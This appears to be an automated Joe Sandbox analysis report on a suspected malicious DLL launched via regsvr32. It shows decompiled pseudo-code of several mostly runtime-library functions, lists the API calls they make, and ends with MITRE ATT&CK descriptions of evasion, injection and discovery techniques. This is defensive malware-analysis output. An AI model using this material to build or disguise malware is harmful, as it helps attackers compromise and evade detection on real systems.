										E6EB59E0A( *((intOrPtr*)(_t187 + 0x3c)) + _t185,  *((intOrPtr*)(_t187 + 0x14)) + _v8);
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x18) = _v12 << 4;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x1c) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x1c) & 0x00000000;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x24) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x24) | 0xffffffff;
										 *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x20) =  *(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x20) | 0xffffffff;
										_v12 = _v12 + 1;
										 *((intOrPtr*)(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x28)) = 1;
										 *((intOrPtr*)(_t185 +  *((intOrPtr*)(_t187 + 0x3c)) + 0x2c)) =  *((intOrPtr*)( *_t121 + 0xa0));
										_t185 = _t185 + 0x30;
										__eflags = _v20;
									} while (_v20 != 0);
									_t145 = 0;
									__eflags = 0;
									L20:
									_v16 = _v16 + 1;
									_v8 = _v8 + 0x28;
									__eflags = _v16 -  *((intOrPtr*)(_t187 + 0x10));
								} while (_v16 <  *((intOrPtr*)(_t187 + 0x10)));
								goto L21;
							}
						}
						_t137 =  *((intOrPtr*)(_t187 + 0x14)) + 0x24;
						__eflags = _t137;
						do {
							 *(_t187 + 0x38) =  *(_t187 + 0x38) +  *((intOrPtr*)( *_t137 + 0xc));
							_t148 = _t148 + 1;
							_t137 = _t137 + 0x28;
							__eflags = _t148 -  *((intOrPtr*)(_t187 + 0x10));
						} while (_t148 <  *((intOrPtr*)(_t187 + 0x10)));
						goto L12;
					}
					_t186 = 0;
					__eflags =  *(__ecx + 0x38);
					if( *(__ecx + 0x38) <= 0) {
						L8:
						 *(_t187 + 0x40) = _t145;
						goto L9;
					}
					_v12 = 0;
					do {
						__imp__#9( *(__ecx + 0x40) + _v12);
						_v12 = _v12 + 0x10;
						_t186 = _t186 + 1;
						__eflags = _t186 -  *(__ecx + 0x38);
					} while (_t186 <  *(__ecx + 0x38));
					__eflags =  *(__ecx + 0x38);
					if(__eflags > 0) {
						E6EB47CD0(0, _t186, __ecx, __eflags,  *(__ecx + 0x40));
						E6EB47CD0(0, _t186, _t187, __eflags,  *((intOrPtr*)(_t187 + 0x3c)));
					}
					goto L8;
				}
				E6EB5C087(__ecx);
				return  *((intOrPtr*)( *__ecx + 0x10))();
			}

APIs

VariantClear.OLEAUT32(?), ref: 6EB5C8D4

Strings

(, xrefs: 6EB5C9E4

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ClearVariant
String ID: (
API String ID: 1473721057-3887548279
Opcode ID: 1455c89647184e3d6462538d82b498f5d5a81d55c35bc1c918e7dec751e15768
Instruction ID: 8b36c5b7a1272a1bb12f6ce6de2dcf6c8ab17a005478add11614751b571aa7cb
Opcode Fuzzy Hash: 1455c89647184e3d6462538d82b498f5d5a81d55c35bc1c918e7dec751e15768
Instruction Fuzzy Hash: 6E514471A10781DFCB64CFA8C98196ABBF6FF48314B504A2DE5829BA91C770F891CF40

Uniqueness

Uniqueness Score: -1.00%

Function 6EB412C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77
windowCOMMON

Download Yara Rule

C-Code - Quality: 62%

			E6EB412C0(void* __edx, void* __esi) {
				int _v4;
				intOrPtr _v8;
				char _v12;
				char _v16;
				void* __ecx;
				signed int _t19;
				intOrPtr* _t21;
				intOrPtr* _t25;
				long _t37;
				signed int _t46;
				void* _t50;
				intOrPtr _t53;
				long _t56;
				intOrPtr _t57;
				void* _t58;
				signed int _t59;
				intOrPtr* _t62;

				_t58 = __esi;
				_t50 = __edx;
				_push(0xffffffff);
				_push(0x6eb78678);
				_push( *[fs:0x0]);
				_t19 =  *0x6eb89470; // 0x8926f9d4
				_push(_t19 ^ _t59);
				_t21 =  &_v12;
				 *[fs:0x0] = _t21;
				if( *((intOrPtr*)(__esi + 0x80)) != 0) {
					_t56 = SendMessageA( *(__esi + 0x20), 0x400, 0, 0);
					_t37 = SendMessageA( *(__esi + 0x20), 0x402, 0, 0);
					_t25 = E6EB4838C();
					_t62 = _t25;
					_t43 = 0 | _t62 == 0x00000000;
					if(_t62 == 0) {
						_t25 = E6EB41000(_t43, _t50, 0x80004005);
					}
					_v16 =  *((intOrPtr*)( *((intOrPtr*)( *_t25 + 0xc))))() + 0x10;
					_push(_t37 - _t56);
					_v4 = 0;
					E6EB415B0( &_v16, "%d (0x%02X)", _t37 - _t56);
					_t57 = _v16;
					_t46 =  *(_t58 + 0x80);
					_t59 = _t59 + 0x10;
					E6EB4F629(_t46, _t57);
					_t13 = _t57 - 0x10; // 0x6eb78668
					_t21 = _t13;
					_v8 = 0xffffffff;
					asm("lock xadd [edx], ecx");
					if((_t46 | 0xffffffff) - 1 <= 0) {
						_t53 =  *((intOrPtr*)( *_t21));
						_t16 = _t53 + 4; // 0x824548b
						_t21 =  *((intOrPtr*)( *_t16))(_t21);
					}
				}
				 *[fs:0x0] = _v12;
				return _t21;
			}

APIs

SendMessageA.USER32 ref: 6EB41303
SendMessageA.USER32 ref: 6EB41314

Strings

%d (0x%02X), xrefs: 6EB4134C

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: MessageSend
String ID: %d (0x%02X)
API String ID: 3850602802-1292222934
Opcode ID: 5da61448c728ad724c64856312d5f33a0166fbf1eed5b5e1386c0de061ccf40c
Instruction ID: 79bf819988f3ed270748bfc40035e3671fcdbe48e78f0e61a3b3c4114d248b88
Opcode Fuzzy Hash: 5da61448c728ad724c64856312d5f33a0166fbf1eed5b5e1386c0de061ccf40c
Instruction Fuzzy Hash: 51217AB1204741AFD754CFA8CC81F6AB7E8FB89720F144A1CF166DB6D0DB34A8098B54

Uniqueness

Uniqueness Score: -1.00%

Function 6EB50A45 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E6EB50A45(void* __ecx) {
				signed int _v8;
				char _v20;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				signed int _t9;
				long _t12;
				intOrPtr _t13;
				intOrPtr _t19;
				intOrPtr _t24;
				intOrPtr _t25;
				intOrPtr _t29;
				signed int _t34;

				_t32 = _t34;
				_t9 =  *0x6eb89470; // 0x8926f9d4
				_v8 = _t9 ^ _t34;
				_t12 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t12 == 0) {
					L4:
					_t13 = 0;
					__eflags = 0;
				} else {
					_t38 = _t12 - 0x104;
					if(_t12 == 0x104) {
						goto L4;
					} else {
						 *(PathFindExtensionA( &_v280)) = 0;
						asm("movsd");
						asm("movsd");
						asm("movsb");
						_t13 = E6EB507D6(_t19,  &_v20, "%s%s.dll", _t38,  &_v20,  &_v280);
						_t25 = _t25;
					}
				}
				_pop(_t29);
				return E6EB63DE0(_t13, _t19, _v8 ^ _t32, _t24, _t25, _t29);
			}

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 6EB50A6D
PathFindExtensionA.SHLWAPI(?), ref: 6EB50A83

Part of subcall function 6EB507D6: __EH_prolog3_GS.LIBCMT ref: 6EB507E0
Part of subcall function 6EB507D6: GetModuleHandleA.KERNEL32(kernel32.dll,0000015C,6EB50AA7,?,?), ref: 6EB50810
Part of subcall function 6EB507D6: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 6EB50824
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB50860
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB5086E
Part of subcall function 6EB507D6: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 6EB5088B
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(?), ref: 6EB508B6
Part of subcall function 6EB507D6: ConvertDefaultLocale.KERNEL32(000003FF), ref: 6EB508BF
Part of subcall function 6EB507D6: GetModuleFileNameA.KERNEL32(6EB40000,?,00000105), ref: 6EB50974

Strings

%s%s.dll, xrefs: 6EB50A8C

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3_HandlePath
String ID: %s%s.dll
API String ID: 1311856149-1649984862
Opcode ID: a242a34d2f8fe036b762eb1d4d53a33136b17047db4cbe6e063df272793e6f6a
Instruction ID: 91bb896d7962845c86d615d604d9912be9d0f37c1f6581773422468605c8ab9c
Opcode Fuzzy Hash: a242a34d2f8fe036b762eb1d4d53a33136b17047db4cbe6e063df272793e6f6a
Instruction Fuzzy Hash: F0016D72A005589FDB14DEA8CD45AEF7BECAB56704F0104A5E546E7284EA70DA04CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6EB6D14F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 37
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 89%

			E6EB6D14F(void* __ebx, void* __edx, void* __edi, intOrPtr* __esi, void* __eflags) {
				intOrPtr _t17;
				intOrPtr* _t28;
				void* _t29;

				_t30 = __eflags;
				_t28 = __esi;
				_t27 = __edi;
				_t26 = __edx;
				_t19 = __ebx;
				 *((intOrPtr*)(__edi - 4)) =  *((intOrPtr*)(_t29 - 0x24));
				E6EB66449(__ebx, __edx, __edi, __esi, __eflags,  *((intOrPtr*)(_t29 - 0x28)));
				 *((intOrPtr*)(E6EB6A81F(__ebx, __edx, __edi, __eflags) + 0x88)) =  *((intOrPtr*)(_t29 - 0x2c));
				_t17 = E6EB6A81F(_t19, _t26, _t27, _t30);
				 *((intOrPtr*)(_t17 + 0x8c)) =  *((intOrPtr*)(_t29 - 0x30));
				if( *__esi == 0xe06d7363 &&  *((intOrPtr*)(__esi + 0x10)) == 3) {
					_t17 =  *((intOrPtr*)(__esi + 0x14));
					if(_t17 == 0x19930520 || _t17 == 0x19930521 || _t17 == 0x19930522) {
						if( *((intOrPtr*)(_t29 - 0x34)) == 0) {
							_t37 =  *((intOrPtr*)(_t29 - 0x1c));
							if( *((intOrPtr*)(_t29 - 0x1c)) != 0) {
								_t17 = E6EB66422(_t37,  *((intOrPtr*)(_t28 + 0x18)));
								_t38 = _t17;
								if(_t17 != 0) {
									_push( *((intOrPtr*)(_t29 + 0x10)));
									_push(_t28);
									return E6EB6CEE7(_t38);
								}
							}
						}
					}
				}
				return _t17;
			}

APIs

Part of subcall function 6EB66449: __getptd.LIBCMT ref: 6EB6644F
Part of subcall function 6EB66449: __getptd.LIBCMT ref: 6EB6645F

__getptd.LIBCMT ref: 6EB6D15E

Part of subcall function 6EB6A81F: __getptd_noexit.LIBCMT ref: 6EB6A822
Part of subcall function 6EB6A81F: __amsg_exit.LIBCMT ref: 6EB6A82F

__getptd.LIBCMT ref: 6EB6D16C

Strings

csm, xrefs: 6EB6D17A

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: __getptd$__amsg_exit__getptd_noexit
String ID: csm
API String ID: 803148776-1018135373
Opcode ID: c82d3c3a3f47f3639075d0419be766aac484af37b81c3371ce32b2bcee8695d9
Instruction ID: 2bcc9ff5f624d17fab6f9e6b5edb1a557e2614dae7d2f48e330962b95394879a
Opcode Fuzzy Hash: c82d3c3a3f47f3639075d0419be766aac484af37b81c3371ce32b2bcee8695d9
Instruction Fuzzy Hash: 00018B308243828ACF20AFE2E45069DBFB9FF18314FA0882ED05196690CB74A980CF01

Uniqueness

Uniqueness Score: -1.00%

Function 6EB5428B Relevance: 5.0, APIs: 4, Instructions: 38
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB5428B(signed int _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct _CRITICAL_SECTION* _t4;
				void* _t7;
				void* _t9;
				signed int _t10;
				void* _t13;
				intOrPtr* _t14;

				_t10 = _a4;
				_t15 = _t10 - 0x11;
				if(_t10 >= 0x11) {
					_t4 = E6EB48BA4(_t7, _t9, _t10, _t13, _t15);
				}
				if( *0x6eb8c6f4 == 0) {
					_t4 = E6EB54267();
				}
				_t14 = 0x6eb8c8a8 + _t10 * 4;
				if( *_t14 == 0) {
					EnterCriticalSection(0x6eb8c890);
					if( *_t14 == 0) {
						_t4 = 0x6eb8c6f8 + _t10 * 0x18;
						InitializeCriticalSection(_t4);
						 *_t14 =  *_t14 + 1;
					}
					LeaveCriticalSection(0x6eb8c890);
				}
				EnterCriticalSection(0x6eb8c6f8 + _t10 * 0x18);
				return _t4;
			}

APIs

EnterCriticalSection.KERNEL32(6EB8C890,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542C5
InitializeCriticalSection.KERNEL32(-6EB8C6F8,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542D7
LeaveCriticalSection.KERNEL32(6EB8C890,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542E4
EnterCriticalSection.KERNEL32(-6EB8C6F8,73FC5680,?,00000000,?,6EB5561C,00000010,00000008,6EB53D4E,6EB53CF1,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB542F4

Part of subcall function 6EB48BA4: __CxxThrowException@8.LIBCMT ref: 6EB48BBA
Part of subcall function 6EB48BA4: __EH_prolog3.LIBCMT ref: 6EB48BC7

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Enter$Exception@8H_prolog3InitializeLeaveThrow
String ID:
API String ID: 2895727460-0
Opcode ID: e10beb5ca481452b33c188a08659e86046a217f3a1ab4cf909b7cfc24e53e66e
Instruction ID: 4f92330492504a4507e2c7e4f1b39ea19d332e6ffaa4e4cf94c7395837701300
Opcode Fuzzy Hash: e10beb5ca481452b33c188a08659e86046a217f3a1ab4cf909b7cfc24e53e66e
Instruction Fuzzy Hash: 80F0F6B2561165AFDB002ED8DC44F5EBF69EBE3315F121521E0015B701CB7194A6CA67

Uniqueness

Uniqueness Score: -1.00%

Function 6EB55595 Relevance: 5.0, APIs: 4, Instructions: 35
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E6EB55595(long* __ecx, signed int _a4) {
				void* _t9;
				struct _CRITICAL_SECTION* _t12;
				signed int _t14;
				long* _t16;

				_t16 = __ecx;
				_t1 =  &(_t16[7]); // 0x6eb8c964
				_t12 = _t1;
				EnterCriticalSection(_t12);
				_t14 = _a4;
				if(_t14 <= 0) {
					L5:
					LeaveCriticalSection(_t12);
					return 0;
				}
				_t3 =  &(_t16[3]); // 0x3
				if(_t14 >=  *_t3) {
					goto L5;
				}
				_t9 = TlsGetValue( *_t16);
				if(_t9 == 0 || _t14 >=  *((intOrPtr*)(_t9 + 8))) {
					goto L5;
				} else {
					LeaveCriticalSection(_t12);
					return  *((intOrPtr*)( *((intOrPtr*)(_t9 + 0xc)) + _t14 * 4));
				}
			}

APIs

EnterCriticalSection.KERNEL32(6EB8C964,73FC5680,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000), ref: 6EB555A3
TlsGetValue.KERNEL32(6EB8C948,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555B7
LeaveCriticalSection.KERNEL32(6EB8C964,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555CD
LeaveCriticalSection.KERNEL32(6EB8C964,?,00000000,?,6EB55A99,?,00000004,6EB53D2F,6EB48BC0,6EB53D58,6EB4C6CA,00000000,6EB4C765,00000000,?,6EB4D0D7), ref: 6EB555D8

Memory Dump Source

Source File: 00000005.00000002.773030912.000000006EB41000.00000020.00000001.01000000.00000005.sdmp, Offset: 6EB40000, based on PE: true

Associated: 00000005.00000002.773025685.000000006EB40000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773058676.000000006EB79000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773069462.000000006EB88000.00000008.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773076358.000000006EB89000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773083938.000000006EB8C000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000005.00000002.773089713.000000006EB8F000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_6eb40000_regsvr32.jbxd

Similarity

API ID: CriticalSection$Leave$EnterValue
String ID:
API String ID: 3969253408-0
Opcode ID: 0ae8b907fe5837c1490cea003b2d1c4ee6aa0f5342c883ad67b317c808d19ade
Instruction ID: 0e8c37522c21ae37a72e90878d73b12964f5f931ecd08996b07173ae272bd00d
Opcode Fuzzy Hash: 0ae8b907fe5837c1490cea003b2d1c4ee6aa0f5342c883ad67b317c808d19ade
Instruction Fuzzy Hash: 5CF0E9B32115149FEB109FA8D888E4FBBBEEF853613164425F50583610DB30F911CF94

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by hijacking the library manifest used to load DLLs. Adversaries may take advantage of vague references in the library manifest of a program by replacing a legitimate library with a malicious one, causing the operating system to load their malicious library when it is called for by the victim program.
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	Loaded DLLs, Process monitoring, Process use of network
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
